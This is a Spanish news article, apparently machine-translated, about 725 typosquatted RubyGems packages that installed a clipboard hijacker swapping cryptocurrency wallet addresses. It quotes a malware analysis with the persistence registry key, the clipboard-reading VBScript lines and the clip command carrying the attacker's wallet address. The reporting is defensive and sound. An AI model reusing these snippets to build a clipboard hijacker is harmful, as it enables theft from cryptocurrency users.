El ataque de la cadena de suministro golpea el repositorio RubyGems con 725 paquetes maliciosos

El ataque de la cadena de suministro golpea el repositorio RubyGems con 725 paquetes maliciosos

ReversingLabs

Recientemente se han encontrado más de 725 paquetes maliciosos descargados miles de veces poblando RubyGems, el canal oficial para distribuir programas y bibliotecas de códigos para el lenguaje de programación Ruby.

Los paquetes maliciosos se han descargado casi 100,000 veces, aunque un porcentaje significativo de ellos es probablemente el resultado de scripts que escanean automáticamente todos los 158,000 paquetes disponibles en el repositorio, Tomislav Pericin, cofundador y arquitecto jefe de software de la compañía de seguridad ReversingLabs, le dijo a Ars. Todos provienen de solo dos cuentas de usuario: «JimCarrey» y «PeterGibbons».

Las cuentas, que sospecha que ReversingLabs pueden ser el trabajo de un individuo, han utilizado una variación de errores tipográficos, la técnica de dar a un archivo o dominio malicioso un nombre similar a un nombre comúnmente reconocible, para dar la impresión de que fueron legítimos Por ejemplo, «atlas-client», un paquete interceptado por boboby con 2.100 descargas, era un soporte para el auténtico paquete «atlas_client». Más del 700 de los paquetes se cargaron del 16 al 25 de febrero.

Una vez instalados, los paquetes ejecutaron un script que intentaba interceptar los pagos de Bitcoin realizados en dispositivos Windows. Tomislav Maljic, analista de amenazas en ReversingLabs, escribió en una publicación:

El guión en sí es bastante simple. Primero, cree un nuevo VBScript Sle con el bucle malicioso principal en la ruta «% PROGRAMDATA% Microsoft Essentials Software Essentials.vbs». Como mecanismo de persistencia, crea una nueva clave de registro de ejecución automática «HCU Software Microsoft Windows CurrentVersion Run Microsoft Software Essentials». Con esto, el malware asegura que se ejecuta cada vez que se inicia o reinicia el sistema.

Cuando se ejecuta el script malicioso «Software Essentials.vbs», comienza un bucle infinito en el que captura los datos del portapapeles del usuario con las siguientes líneas de código:

Set objHTML = CreateObject("htmlfile")
text = objHTML.ParentWindow.ClipboardData.GetData("text")

El script luego verifica si los datos del portapapeles coinciden con el formato de una dirección de billetera de criptomonedas. En ese caso, reemplace la dirección con una controlada por el atacante «1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc» en una ventana oculta con el siguiente comando:

WScript.Shell run "C:WindowsSystem32cmd.exe /c echo 1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc | clip", 0

Con esto, el actor de la amenaza está tratando de redirigir todas las posibles transacciones de criptomonedas a su dirección de billetera. Al momento de escribir este artículo, aparentemente no se han realizado transacciones para esta cartera.

Los mantenedores de RubyGems no respondieron a un correo electrónico en busca de comentarios.

El último de varios

No es la primera vez que las personas usan typosquatting para infiltrarse en paquetes maliciosos en repositorios de código abierto ampliamente utilizados. En 2016, un estudiante universitario subió scripts inexactos en RubyGems, PyPi y NPM, que son sitios web comunitarios para desarrolladores de los lenguajes de programación Python, Ruby y JavaScript, respectivamente. Una función telefónica en los guiones del estudiante mostró que el código del impostor se ejecutó más de 45,000 veces en más de 17,000 dominios separados y más de la mitad de las veces que su código recibió derechos administrativos poderosos. Dos de los dominios afectados terminaron en .mil, una indicación de que las personas dentro del ejército de los EE. UU. Habían realizado el guión.

Los atacantes adoptaron rápidamente la técnica. En 2018, un atacante introdujo sigilosamente un secuestrador de portapapeles en PyPi. El paquete malicioso se tituló «Colourama» y se parecía a Colorama, que es uno de los 20 módulos legítimos más descargados en el repositorio de Python. El paquete malicioso se ha descargado 171 veces, excluyendo las descargas de sitios espejo.

Un mes después, los atacantes lograron una hazaña aún más impresionante cuando ocultaron una puerta trasera robando bitcoins en la secuencia del evento, una biblioteca de códigos con 2 millones de descargas del repositorio de NPM. Los desarrolladores de una cartera de divisas llamada CoPay han incorporado la biblioteca maliciosa en las actualizaciones y advirtieron que cualquier clave privada que se considere confiable con las versiones contaminadas debe considerarse comprometida.

El experimento de 2016 del estudiante universitario y la trampa explosiva de la biblioteca de flujo de eventos legítimos demuestran que los ataques de la cadena de suministro contra repositorios de código abierto pueden ser una forma efectiva de ejecutar código malicioso en máquinas sensibles. El evento de este año con RubyGems muestra que estos ataques a la cadena de suministro no desaparecerán pronto.

«Existen muy pocas protecciones para que los desarrolladores de software se aseguren de que los paquetes que instalan desde estos repositorios estén libres de malware», dijo Pericin, cofundador de ReversingLabs. «Actualmente hay una gran brecha en el mercado que está siendo explotada por los autores de malware».

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *